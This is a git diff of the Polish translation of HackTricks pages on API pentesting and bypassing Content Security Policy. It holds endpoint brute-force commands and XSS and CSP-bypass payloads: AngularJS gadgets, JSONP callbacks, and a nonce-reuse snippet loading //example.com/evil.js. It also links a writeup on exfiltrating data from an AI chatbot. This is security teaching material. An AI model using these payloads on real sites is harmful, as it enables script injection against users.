* **Eskalacja uprawnień**: Testuj punkty końcowe z różnymi poziomami uprawnień, aby zidentyfikować możliwości nieautoryzowanego dostępu.
|
||||||
* **Błędy konfiguracji CORS**: Sprawdź ustawienia CORS pod kątem potencjalnej podatności na ataki CSRF z sesji uwierzytelnionych.
|
* **Błędy konfiguracji CORS**: Sprawdź ustawienia CORS pod kątem potencjalnej podatności na ataki CSRF z sesji uwierzytelnionych.
|
||||||
* **Odkrywanie punktów końcowych**: Wykorzystaj wzorce API do odkrywania ukrytych punktów końcowych. Narzędzia typu fuzzers mogą zautomatyzować ten proces.
|
* **Odkrywanie Punktu Końcowego**: Wykorzystaj wzorce API do odkrywania ukrytych punktów końcowych. Narzędzia typu fuzzers mogą zautomatyzować ten proces.
|
||||||
* **Modyfikacja parametrów**: Eksperymentuj z dodawaniem lub zamianą parametrów w żądaniach, aby uzyskać dostęp do nieautoryzowanych danych lub funkcji.
|
* **Modyfikacja Parametrów**: Eksperymentuj z dodawaniem lub zamianą parametrów w żądaniach, aby uzyskać dostęp do nieautoryzowanych danych lub funkcji.
|
||||||
* **Testowanie Metod HTTP**: Zróżnicuj metody żądań (GET, POST, PUT, DELETE, PATCH), aby odkryć nieoczekiwane zachowania lub ujawnienia informacji.
|
* **Testowanie Metod HTTP**: Zróżnicuj metody żądań (GET, POST, PUT, DELETE, PATCH), aby odkryć nieoczekiwane zachowania lub ujawnienia informacji.
|
||||||
* **Modyfikacja typu zawartości**: Przełączaj się między różnymi typami zawartości (x-www-form-urlencoded, application/xml, application/json), aby testować problemy z analizą lub podatności.
|
* **Modyfikacja Typu Zawartości**: Przełączaj się między różnymi typami zawartości (x-www-form-urlencoded, application/xml, application/json), aby testować problemy z analizą lub podatności.
|
||||||
* **Zaawansowane Techniki Parametrów**: Testuj z nieoczekiwanymi typami danych w ładunkach JSON lub baw się danymi XML wstrzyknięciami XXE. Spróbuj również zanieczyszczenia parametrów i znaków wieloznacznych dla szerszego testowania.
|
* **Zaawansowane Techniki Parametrów**: Testuj z nieoczekiwanymi typami danych w ładunkach JSON lub baw się danymi XML w celu wstrzykiwania XXE. Spróbuj również zanieczyszczenia parametrów i znaków wieloznacznych dla szerszego testowania.
|
||||||
* **Testowanie Wersji**: Starsze wersje API mogą być bardziej podatne na ataki. Zawsze sprawdzaj i testuj przeciwko wielu wersjom API.
|
* **Testowanie Wersji**: Starsze wersje API mogą być bardziej podatne na ataki. Zawsze sprawdzaj i testuj przeciwko wielu wersjom API.
|
||||||
|
|
||||||
### **Narzędzia i Zasoby do Testowania Interfejsów API**
|
### **Narzędzia i Zasoby do Testowania Interfejsów API**
|
||||||
|
|
||||||
* **kiterunner**: Doskonałe do odkrywania punktów końcowych API. Użyj go do skanowania i siłowego przeszukiwania ścieżek i parametrów w celu znalezienia celów API.
|
* [**kiterunner**](https://github.com/assetnote/kiterunner): Doskonałe do odkrywania punktów końcowych API. Użyj go do skanowania i siłowego przeszukiwania ścieżek i parametrów w celu atakowania docelowych interfejsów API.
|
||||||
```bash
|
```bash
|
||||||
kr scan https://domain.com/api/ -w routes-large.kite -x 20
|
kr scan https://domain.com/api/ -w routes-large.kite -x 20
|
||||||
kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20
|
kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20
|
||||||
kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0
|
kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0
|
||||||
kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
|
kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
|
||||||
```
|
```
|
||||||
* Dodatkowe narzędzia takie jak **automatic-api-attack-tool**, **Astra** i **restler-fuzzer** oferują dostosowane funkcje do testowania bezpieczeństwa interfejsów API, obejmujące symulację ataku, fuzzing i skanowanie podatności.
|
* Dodatkowe narzędzia takie jak **automatic-api-attack-tool**, **Astra** i **restler-fuzzer** oferują dostosowane funkcje do testowania bezpieczeństwa interfejsów API, obejmujące symulację ataków, fuzzing i skanowanie podatności.
|
||||||
|
* [**Cherrybomb**](https://github.com/blst-security/cherrybomb): Jest to narzędzie do bezpieczeństwa API, które audytuje Twoje API na podstawie pliku OAS (narzędzie napisane w języku Rust).
|
||||||
|
|
||||||
### **Zasoby do nauki i praktyki**
|
### **Zasoby do nauki i praktyki**
|
||||||
|
|
||||||
* **OWASP API Security Top 10**: Podstawowa lektura do zrozumienia powszechnych podatności interfejsów API ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
|
* **OWASP API Security Top 10**: Podstawowa lektura do zrozumienia powszechnych podatności interfejsów API ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
|
||||||
* **API Security Checklist**: Kompleksowa lista kontrolna do zabezpieczania interfejsów API ([link do GitHuba](https://github.com/shieldfy/API-Security-Checklist)).
|
* **API Security Checklist**: Kompleksowa lista kontrolna do zabezpieczania interfejsów API ([link do GitHuba](https://github.com/shieldfy/API-Security-Checklist)).
|
||||||
* **Filtry Logger++**: Do poszukiwania podatności interfejsów API, Logger++ oferuje przydatne filtry ([link do GitHuba](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
|
* **Filtry Logger++**: Dla poszukiwania podatności interfejsów API, Logger++ oferuje przydatne filtry ([link do GitHuba](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
|
||||||
* **Lista punktów końcowych API**: Wyselekcjonowana lista potencjalnych punktów końcowych API do celów testowych ([gist na GitHubie](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
|
* **Lista punktów końcowych API**: Wyselekcjonowana lista potencjalnych punktów końcowych API do celów testowych ([gist na GitHubie](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
|
||||||
|
|
||||||
## Odnośniki
|
## Odnośniki
|
||||||
|
@ -71,14 +72,14 @@ kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować workflowy** z wykorzystaniem najbardziej zaawansowanych narzędzi społeczności.\
|
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo budować i **automatyzować workflowy** zasilane przez najbardziej zaawansowane narzędzia społeczności na świecie.\
|
||||||
Zdobądź dostęp już dziś:
|
Zdobądź dostęp już dziś:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Zacznij od zera i zostań ekspertem w hakowaniu AWS z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Zacznij od zera i zostań ekspertem w hakowaniu AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Bypass zabezpieczeń zawartości (CSP)
|
# Bypass zasady zabezpieczeń zawartości (CSP)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -10,7 +10,7 @@ Inne sposoby wsparcia HackTricks:
|
||||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -19,21 +19,21 @@ Inne sposoby wsparcia HackTricks:
|
||||||
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
|
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
|
||||||
|
|
||||||
**Spojrzenie na Hacking**\
|
**Spojrzenie na Hacking**\
|
||||||
Zapoznaj się z treściami, które zagłębiają się w emocje i wyzwania hackowania
|
Zanurz się w treści, które zgłębiają emocje i wyzwania hackowania
|
||||||
|
|
||||||
**Aktualności z Hackingu na Żywo**\
|
**Aktualności z Hackingu na Żywo**\
|
||||||
Bądź na bieżąco z szybkim światem hackowania dzięki aktualnościom i spojrzeniom na żywo
|
Bądź na bieżąco z szybkim tempem świata hackowania dzięki aktualnościom i spojrzeniom na żywo
|
||||||
|
|
||||||
**Najnowsze Ogłoszenia**\
|
**Najnowsze Ogłoszenia**\
|
||||||
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platformy
|
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platform
|
||||||
|
|
||||||
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
|
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
|
||||||
|
|
||||||
## Co to jest CSP
|
## Co to jest CSP
|
||||||
|
|
||||||
Zabezpieczenie zawartości (CSP) jest uznawane za technologię przeglądarki, głównie mającą na celu **ochronę przed atakami takimi jak skrypty międzywitrynne (XSS)**. Działa poprzez definiowanie i szczegółowe określanie ścieżek i źródeł, z których przeglądarka może bezpiecznie ładować zasoby. Te zasoby obejmują różne elementy, takie jak obrazy, ramki i JavaScript. Na przykład polityka może zezwalać na ładowanie i wykonywanie zasobów z tego samego domeny (self), w tym zasobów w linii oraz wykonywanie kodu łańcuchowego za pomocą funkcji takich jak `eval`, `setTimeout` lub `setInterval`.
|
Zasada zabezpieczeń zawartości (CSP) jest uznawana za technologię przeglądarki, głównie mającą na celu **ochronę przed atakami takimi jak skrypty międzywitrynne (XSS)**. Działa poprzez definiowanie i szczegółowe określanie ścieżek i źródeł, z których przeglądarka może bezpiecznie ładować zasoby. Te zasoby obejmują różne elementy, takie jak obrazy, ramki i JavaScript. Na przykład polityka może zezwalać na ładowanie i wykonywanie zasobów z tego samego domeny (self), w tym zasobów wstawionych oraz wykonywanie kodu łańcuchowego za pomocą funkcji takich jak `eval`, `setTimeout` lub `setInterval`.
|
||||||
|
|
||||||
Wdrożenie CSP odbywa się poprzez **nagłówki odpowiedzi** lub poprzez **włączenie elementów meta do strony HTML**. Zgodnie z tą polityką, przeglądarki aktywnie egzekwują te postanowienia i natychmiast blokują wszelkie wykryte naruszenia.
|
Wdrożenie CSP odbywa się poprzez **nagłówki odpowiedzi** lub poprzez **włączenie elementów meta na stronie HTML**. Zgodnie z tą polityką, przeglądarki aktywnie egzekwują te postanowienia i natychmiast blokują wszelkie wykryte naruszenia.
|
||||||
|
|
||||||
* Wdrożone za pomocą nagłówka odpowiedzi:
|
* Wdrożone za pomocą nagłówka odpowiedzi:
|
||||||
```
|
```
|
||||||
|
@ -48,7 +48,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
|
||||||
CSP można egzekwować lub monitorować za pomocą tych nagłówków:
|
CSP można egzekwować lub monitorować za pomocą tych nagłówków:
|
||||||
|
|
||||||
* `Content-Security-Policy`: Wymusza CSP; przeglądarka blokuje wszelkie naruszenia.
|
* `Content-Security-Policy`: Wymusza CSP; przeglądarka blokuje wszelkie naruszenia.
|
||||||
* `Content-Security-Policy-Report-Only`: Używane do monitorowania; raportuje naruszenia bez ich blokowania. Idealne do testowania w środowiskach przedprodukcyjnych.
|
* `Content-Security-Policy-Report-Only`: Używany do monitorowania; raportuje naruszenia bez ich blokowania. Idealny do testowania w środowiskach przedprodukcyjnych.
|
||||||
|
|
||||||
### Definiowanie zasobów
|
### Definiowanie zasobów
|
||||||
|
|
||||||
|
@ -81,7 +81,7 @@ object-src 'none';
|
||||||
* **form-action**: Wymienia prawidłowe punkty końcowe dla przesyłania formularzy.
|
* **form-action**: Wymienia prawidłowe punkty końcowe dla przesyłania formularzy.
|
||||||
* **plugin-types**: Ogranicza typy mime, które strona może wywoływać.
|
* **plugin-types**: Ogranicza typy mime, które strona może wywoływać.
|
||||||
* **upgrade-insecure-requests**: Nakazuje przeglądarkom przepisywanie adresów URL HTTP na HTTPS.
|
* **upgrade-insecure-requests**: Nakazuje przeglądarkom przepisywanie adresów URL HTTP na HTTPS.
|
||||||
* **sandbox**: Nakłada ograniczenia podobne do atrybutu sandbox `<iframe>`.
|
* **sandbox**: Stosuje ograniczenia podobne do atrybutu sandbox elementu `<iframe>`.
|
||||||
* **report-to**: Określa grupę, do której zostanie wysłane zgłoszenie w przypadku naruszenia polityki.
|
* **report-to**: Określa grupę, do której zostanie wysłane zgłoszenie w przypadku naruszenia polityki.
|
||||||
* **worker-src**: Określa prawidłowe źródła dla skryptów Worker, SharedWorker lub ServiceWorker.
|
* **worker-src**: Określa prawidłowe źródła dla skryptów Worker, SharedWorker lub ServiceWorker.
|
||||||
* **prefetch-src**: Określa prawidłowe źródła dla zasobów, które zostaną pobrane lub wcześniej pobrane.
|
* **prefetch-src**: Określa prawidłowe źródła dla zasobów, które zostaną pobrane lub wcześniej pobrane.
|
||||||
|
@ -91,17 +91,17 @@ object-src 'none';
|
||||||
|
|
||||||
* `*`: Pozwala na wszystkie adresy URL z wyjątkiem tych z schematami `data:`, `blob:`, `filesystem:`.
|
* `*`: Pozwala na wszystkie adresy URL z wyjątkiem tych z schematami `data:`, `blob:`, `filesystem:`.
|
||||||
* `'self'`: Pozwala na ładowanie z tej samej domeny.
|
* `'self'`: Pozwala na ładowanie z tej samej domeny.
|
||||||
* `'data'`: Pozwala na ładowanie zasobów za pomocą schematu data (np. obrazów zakodowanych w Base64).
|
* `'data'`: Pozwala na ładowanie zasobów za pomocą schematu data (np. obrazy zakodowane w Base64).
|
||||||
* `'none'`: Blokuje ładowanie z dowolnego źródła.
|
* `'none'`: Blokuje ładowanie z dowolnego źródła.
|
||||||
* `'unsafe-eval'`: Pozwala na użycie `eval()` i podobnych metod, niezalecane ze względów bezpieczeństwa.
|
* `'unsafe-eval'`: Pozwala na użycie `eval()` i podobnych metod, niezalecane ze względów bezpieczeństwa.
|
||||||
* `'unsafe-hashes'`: Umożliwia określone inline event handlery.
|
* `'unsafe-hashes'`: Umożliwia określone event handlery w linii.
|
||||||
* `'unsafe-inline'`: Pozwala na użycie zasobów w linii, takich jak inline `<script>` lub `<style>`, niezalecane ze względów bezpieczeństwa.
|
* `'unsafe-inline'`: Pozwala na użycie zasobów w linii, takich jak skrypty w linii `<script>` lub `<style>`, niezalecane ze względów bezpieczeństwa.
|
||||||
* `'nonce'`: Biała lista dla konkretnych skryptów w linii za pomocą kryptograficznego nonce (numer użyty tylko raz).
|
* `'nonce'`: Biała lista dla konkretnych skryptów w linii za pomocą kryptograficznego nonce (numer użyty tylko raz).
|
||||||
* Jeśli wykonanie JS jest ograniczone, możliwe jest uzyskanie użytego nonce na stronie za pomocą `doc.defaultView.top.document.querySelector("[nonce]")`, a następnie ponowne jego użycie do ładowania złośliwego skryptu (jeśli używane jest strict-dynamic, dowolne dozwolone źródło może ładować nowe źródła, więc to nie jest konieczne), jak w:
|
* Jeśli wykonanie JS jest ograniczone, można uzyskać użyty nonce na stronie za pomocą `doc.defaultView.top.document.querySelector("[nonce]")` i następnie ponownie go użyć do ładowania złośliwego skryptu (jeśli używane jest strict-dynamic, dowolne dozwolone źródło może ładować nowe źródła, więc to nie jest konieczne), jak w:
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Ładowanie skryptu ponownie wykorzystując nonce</summary>
|
<summary>Ładowanie skryptu ponownie używając nonce</summary>
|
||||||
```html
|
```html
|
||||||
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
|
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
|
||||||
<img src=x ng-on-error='
|
<img src=x ng-on-error='
|
||||||
|
@ -113,16 +113,16 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
|
||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
* `'sha256-<hash>'`: Białe listy skryptów z określonym haszem sha256.
|
* `'sha256-<hash>'`: Whitelists scripts with a specific sha256 hash.
|
||||||
* `'strict-dynamic'`: Pozwala na ładowanie skryptów z dowolnego źródła, jeśli zostały dodane do białej listy za pomocą nonce lub hasha.
|
* `'strict-dynamic'`: Allows loading scripts from any source if it has been whitelisted by a nonce or hash.
|
||||||
* `'host'`: Określa określony host, np. `example.com`.
|
* `'host'`: Specifies a specific host, like `example.com`.
|
||||||
* `https:`: Ogranicza adresy URL do tych, które używają protokołu HTTPS.
|
* `https:`: Restricts URLs to those that use HTTPS.
|
||||||
* `blob:`: Pozwala na ładowanie zasobów z adresów URL Blob (np. adresów URL Blob utworzonych za pomocą JavaScript).
|
* `blob:`: Allows resources to be loaded from Blob URLs (e.g., Blob URLs created via JavaScript).
|
||||||
* `filesystem:`: Pozwala na ładowanie zasobów z systemu plików.
|
* `filesystem:`: Allows resources to be loaded from the filesystem.
|
||||||
* `'report-sample'`: Zawiera przykład naruszającego kodu w raporcie o naruszeniach (przydatne do debugowania).
|
* `'report-sample'`: Includes a sample of the violating code in the violation report (useful for debugging).
|
||||||
* `'strict-origin'`: Podobne do 'self', ale zapewnia, że poziom zabezpieczeń protokołu źródeł odpowiada dokumentowi (tylko bezpieczne źródła mogą ładować zasoby z bezpiecznych źródeł).
|
* `'strict-origin'`: Similar to 'self' but ensures the protocol security level of the sources matches the document (only secure origins can load resources from secure origins).
|
||||||
* `'strict-origin-when-cross-origin'`: Wysyła pełne adresy URL podczas wykonywania żądań o tym samym pochodzeniu, ale wysyła tylko pochodzenie, gdy żądanie jest między pochodzeniowe.
|
* `'strict-origin-when-cross-origin'`: Sends full URLs when making same-origin requests but only sends the origin when the request is cross-origin.
|
||||||
* `'unsafe-allow-redirects'`: Pozwala na ładowanie zasobów, które natychmiast przekierują do innego zasobu. Nie zaleca się, ponieważ osłabia to bezpieczeństwo.
|
* `'unsafe-allow-redirects'`: Allows resources to be loaded that will immediately redirect to another resource. Not recommended as it weakens security.
|
||||||
|
|
||||||
## Niebezpieczne zasady CSP
|
## Niebezpieczne zasady CSP
|
||||||
|
|
||||||
|
@ -130,7 +130,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
|
||||||
```yaml
|
```yaml
|
||||||
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
||||||
```
|
```
|
||||||
Działający payload: `"/><script>alert(1);</script>`
|
Pracujący ładunek: `"/><script>alert(1);</script>`
|
||||||
|
|
||||||
#### self + 'unsafe-inline' za pomocą ramek
|
#### self + 'unsafe-inline' za pomocą ramek
|
||||||
|
|
||||||
|
@ -139,6 +139,10 @@ Działający payload: `"/><script>alert(1);</script>`
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### 'unsafe-eval'
|
### 'unsafe-eval'
|
||||||
|
|
||||||
|
{% hint style="danger" %}
|
||||||
|
To nie działa, aby uzyskać więcej informacji [**sprawdź to**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
|
||||||
|
{% endhint %}
|
||||||
```yaml
|
```yaml
|
||||||
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
||||||
```
|
```
|
||||||
|
@ -185,13 +189,13 @@ Działający ładunek:
|
||||||
```
|
```
|
||||||
Jednakże jest bardzo prawdopodobne, że serwer **sprawdza przesłany plik** i pozwoli Ci tylko **przesłać określony rodzaj plików**.
|
Jednakże jest bardzo prawdopodobne, że serwer **sprawdza przesłany plik** i pozwoli Ci tylko **przesłać określony rodzaj plików**.
|
||||||
|
|
||||||
Co więcej, nawet jeśli udałoby Ci się przesłać **kod JS wewnątrz** pliku za pomocą akceptowanego przez serwer rozszerzenia (np. _script.png_), to nie wystarczy, ponieważ niektóre serwery, jak serwer apache, **wybierają typ MIME pliku na podstawie rozszerzenia**, a przeglądarki, jak Chrome, **odmówią wykonania kodu Javascript** w czymś, co powinno być obrazem. "Na szczęście" są błędy. Na przykład, z CTF dowiedziałem się, że **Apache nie rozpoznaje** rozszerzenia _**.wave**_, dlatego nie serwuje go z typem MIME takim jak audio/\*.
|
Co więcej, nawet jeśli udałoby Ci się przesłać **kod JS wewnątrz** pliku za pomocą akceptowanego przez serwer rozszerzenia (np. _script.png_), to nie wystarczy, ponieważ niektóre serwery, jak serwer apache, **wybierają typ MIME pliku na podstawie rozszerzenia**, a przeglądarki, jak Chrome, **odmówią wykonania kodu Javascript** w czymś, co powinno być obrazem. "Na szczęście" są błędy. Na przykład, z jednego CTF dowiedziałem się, że **Apache nie rozpoznaje** rozszerzenia _**.wave**_, dlatego nie serwuje go z typem MIME takim jak audio/\*.
|
||||||
|
|
||||||
Stąd, jeśli znajdziesz XSS i możliwość przesłania pliku, oraz uda Ci się znaleźć **błędne rozszerzenie**, możesz spróbować przesłać plik z tym rozszerzeniem i zawartością skryptu. Lub, jeśli serwer sprawdza poprawny format przesłanego pliku, stwórz poliglot ([kilka przykładów poliglotów tutaj](https://github.com/Polydet/polyglot-database)).
|
Stąd, jeśli znajdziesz XSS i możliwość przesłania pliku, oraz uda Ci się znaleźć **błędne rozszerzenie**, możesz spróbować przesłać plik z tym rozszerzeniem i zawartością skryptu. Lub, jeśli serwer sprawdza poprawny format przesłanego pliku, stwórz poliglot ([kilka przykładów poliglotów tutaj](https://github.com/Polydet/polyglot-database)).
|
||||||
|
|
||||||
### Form-action
|
### Form-action
|
||||||
|
|
||||||
Jeśli nie jest możliwe wstrzyknięcie JS, nadal możesz spróbować np. wydobyć dane, np. dane uwierzytelniające, **wstrzykując akcję formularza** (i być może licząc na automatyczne wypełnienie haseł przez menedżery haseł). Możesz znaleźć [**przykład w tym raporcie**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Zauważ także, że `default-src` nie obejmuje działań formularza.
|
Jeśli nie jest możliwe wstrzyknięcie JS, nadal możesz spróbować np. wydobyć dane, **wstrzykując akcję formularza** (i być może licząc na automatyczne wypełnienie haseł przez menedżery haseł). Możesz znaleźć [**przykład w tym raporcie**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Zauważ także, że `default-src` nie obejmuje akcji formularza.
|
||||||
|
|
||||||
### Zewnętrzne punkty końcowe + ('unsafe-eval')
|
### Zewnętrzne punkty końcowe + ('unsafe-eval')
|
||||||
|
|
||||||
|
@ -201,7 +205,7 @@ Dla niektórych z poniższych ładunków **`unsafe-eval` nie jest nawet potrzebn
|
||||||
```yaml
|
```yaml
|
||||||
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
||||||
```
|
```
|
||||||
Załaduj podatną wersję angular i wykonaj dowolny kod JS:
|
Załaduj podatną wersję angulara i wykonaj dowolny kod JS:
|
||||||
```xml
|
```xml
|
||||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
|
||||||
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
|
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
|
||||||
|
@ -250,10 +254,6 @@ W poście pokazano, że można **załadować** wszystkie **biblioteki** z `cdn.c
|
||||||
{{[].erase.call().alert('xss')}}
|
{{[].erase.call().alert('xss')}}
|
||||||
</div>
|
</div>
|
||||||
```
|
```
|
||||||
### Angular XSS z nazwy klasy:
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### Angular XSS z nazwy klasy:
|
### Angular XSS z nazwy klasy:
|
||||||
```html
|
```html
|
||||||
<div ng-app>
|
<div ng-app>
|
||||||
|
@ -262,7 +262,7 @@ W poście pokazano, że można **załadować** wszystkie **biblioteki** z `cdn.c
|
||||||
```
|
```
|
||||||
#### Nadużywanie kodu JS google recaptcha
|
#### Nadużywanie kodu JS google recaptcha
|
||||||
|
|
||||||
Zgodnie z [**tym opisem CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) można nadużyć [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) wewnątrz CSP, aby wykonać dowolny kod JS, omijając CSP:
|
Zgodnie z [**tym opisem CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) można nadużyć [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) wewnątrz CSP, aby wykonać dowolny kod JS omijając CSP:
|
||||||
```html
|
```html
|
||||||
<div
|
<div
|
||||||
ng-controller="CarouselController as c"
|
ng-controller="CarouselController as c"
|
||||||
|
@ -288,21 +288,19 @@ b=doc.createElement("script");
|
||||||
b.src="//example.com/evil.js";
|
b.src="//example.com/evil.js";
|
||||||
b.nonce=a.nonce; doc.body.appendChild(b)'>
|
b.nonce=a.nonce; doc.body.appendChild(b)'>
|
||||||
```
|
```
|
||||||
#### Wykorzystywanie www.google.com do przekierowania
|
#### Wykorzystywanie www.google.com do otwartego przekierowania
|
||||||
|
|
||||||
Następujący adres URL przekierowuje do example.com (z [tutaj](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
Następujący adres URL przekierowuje do example.com (z [tutaj](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||||
```
|
```
|
||||||
https://www.google.com/amp/s/example.com/
|
https://www.google.com/amp/s/example.com/
|
||||||
```
|
```
|
||||||
### Złożenie nadużycia \*.google.com/script.google.com
|
### Trzecie punkty końcowe + JSONP
|
||||||
|
|
||||||
Istnieje możliwość nadużycia Google Apps Script w celu otrzymywania informacji na stronie wewnątrz script.google.com. Tak jak to [zostało wykonane w tym raporcie](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
|
Możliwe jest nadużycie Google Apps Script w celu otrzymywania informacji na stronie wewnątrz script.google.com. Tak jak to [zostało wykonane w tym raporcie](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
|
||||||
|
|
||||||
### Zewnętrzne punkty końcowe + JSONP
|
|
||||||
```http
|
```http
|
||||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||||
```
|
```
|
||||||
Scenariusze, w których `script-src` jest ustawiony na `self` i określona domena jest dodana do białej listy, można ominąć, korzystając z JSONP. Punkty końcowe JSONP pozwalają na niezabezpieczone metody wywołań zwrotnych, co umożliwia atakującemu wykonanie XSS, działający ładunek:
|
Scenariusze, w których `script-src` jest ustawiony na `self` i określona domena jest dodana do białej listy, można ominąć, korzystając z JSONP. Punkty końcowe JSONP pozwalają na niebezpieczne metody wywołań zwrotnych, które umożliwiają atakującemu wykonanie XSS, działający ładunek:
|
||||||
```markup
|
```markup
|
||||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||||
